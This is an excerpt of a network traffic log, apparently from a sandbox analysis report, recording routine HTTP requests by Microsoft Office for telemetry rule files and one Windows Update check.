Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=t9M19fKsf53L4Fs&MD=xUEBlNV6 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
